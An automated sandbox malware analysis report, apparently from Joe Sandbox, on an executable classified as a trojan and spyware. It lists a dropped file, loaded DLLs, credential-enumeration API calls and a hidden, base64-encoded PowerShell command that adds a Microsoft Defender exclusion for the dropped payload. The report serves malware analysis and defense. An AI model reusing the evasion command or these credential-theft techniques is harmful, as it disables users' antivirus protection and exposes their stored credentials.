Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB76510	8_2_00000218BFB76510
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD0500	8_2_00000218BFBD0500
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF54E8	8_2_00000218BFBF54E8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBFA438	8_2_00000218BFBFA438
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB783D0	8_2_00000218BFB783D0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBF13C8	8_2_00000218BFBF13C8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD43F0	8_2_00000218BFBD43F0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB9E320	8_2_00000218BFB9E320
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBD2A0	8_2_00000218BFBBD2A0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBC300	8_2_00000218BFBBC300
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB802E0	8_2_00000218BFB802E0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC0E2CC	8_2_00000218BFC0E2CC
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC8230	8_2_00000218BFBC8230
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB8A1F0	8_2_00000218BFB8A1F0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC01F0	8_2_00000218BFBC01F0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBC51E0	8_2_00000218BFBC51E0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB86130	8_2_00000218BFB86130
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB9E130	8_2_00000218BFB9E130
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB56180	8_2_00000218BFB56180
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE5044	8_2_00000218BFBE5044
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBF040	8_2_00000218BFBBF040
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFB89090	8_2_00000218BFB89090
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBE7060	8_2_00000218BFBE7060
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBBCF70	8_2_00000218BFBBCF70
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA107FD0	8_2_00007FF7AA107FD0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA1339D0	8_2_00007FF7AA1339D0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA105AB0	8_2_00007FF7AA105AB0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA10BAC0	8_2_00007FF7AA10BAC0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11AF50	8_2_00007FF7AA11AF50
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA115F60	8_2_00007FF7AA115F60
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA119F70	8_2_00007FF7AA119F70
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA106030	8_2_00007FF7AA106030
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA106D40	8_2_00007FF7AA106D40
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11DD60	8_2_00007FF7AA11DD60
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA113EC7	8_2_00007FF7AA113EC7
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11C296	8_2_00007FF7AA11C296
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11B480	8_2_00007FF7AA11B480
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA119510	8_2_00007FF7AA119510
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA105140	8_2_00007FF7AA105140
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA107180	8_2_00007FF7AA107180
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA10C1B0	8_2_00007FF7AA10C1B0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA12A1E8	8_2_00007FF7AA12A1E8
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11E1F2	8_2_00007FF7AA11E1F2
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA10B220	8_2_00007FF7AA10B220
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA112290	8_2_00007FF7AA112290
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA1192D0	8_2_00007FF7AA1192D0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11E2E0	8_2_00007FF7AA11E2E0
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA11D890	8_2_00007FF7AA11D890
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA113618	8_2_00007FF7AA113618
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00007FF7AA10E6F0	8_2_00007FF7AA10E6F0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe 69F8CEA7A5B6E5DE711E9849F4BC0244F1344966364520BC12987F1B90013754

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: String function: 00000218BFB7B930 appears 32 times
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: String function: 00007FF7AA1067A0 appears 52 times
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: String function: 00000218BFB84C00 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: String function: 00000218BFB95330 appears 70 times

Source: 9RM52QaURq.exe, 00000000.00000000.1687654261.00000000007A2000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameInstaller_sharp.exe@ vs 9RM52QaURq.exe
Source: 9RM52QaURq.exe, 00000000.00000002.2126855628.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 9RM52QaURq.exe
Source: 9RM52QaURq.exe	Binary or memory string: OriginalFilenameInstaller_sharp.exe@ vs 9RM52QaURq.exe

Source: classification engine

Classification label: mal93.troj.spyw.evad.winEXE@7/7@1/3

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFBD5970 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,		8_2_00000218BFBD5970
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Code function: 8_2_00000218BFC22008 AdjustTokenPrivileges,CredEnumerateA,		8_2_00000218BFC22008

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFB8C8C0 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

8_2_00000218BFB8C8C0

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

Code function: 8_2_00000218BFBBF1D0 CoCreateInstance,

8_2_00000218BFBBF1D0

Source: C:\Users\user\Desktop\9RM52QaURq.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9RM52QaURq.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Mutant created: \Sessions\1\BaseNamedObjects\Mmm-A33C734061CA11EE8C18806E6F6E6963E13D18B7

Source: C:\Users\user\Desktop\9RM52QaURq.exe

File created: C:\Users\user\AppData\Local\Temp\38HsqwHlbG

Jump to behavior

Source: 9RM52QaURq.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 9RM52QaURq.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\9RM52QaURq.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9RM52QaURq.exe

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Users\user\Desktop\9RM52QaURq.exe "C:\Users\user\Desktop\9RM52QaURq.exe"
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe "C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe"
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Process created: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe "C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe"	Jump to behavior

Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9RM52QaURq.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe

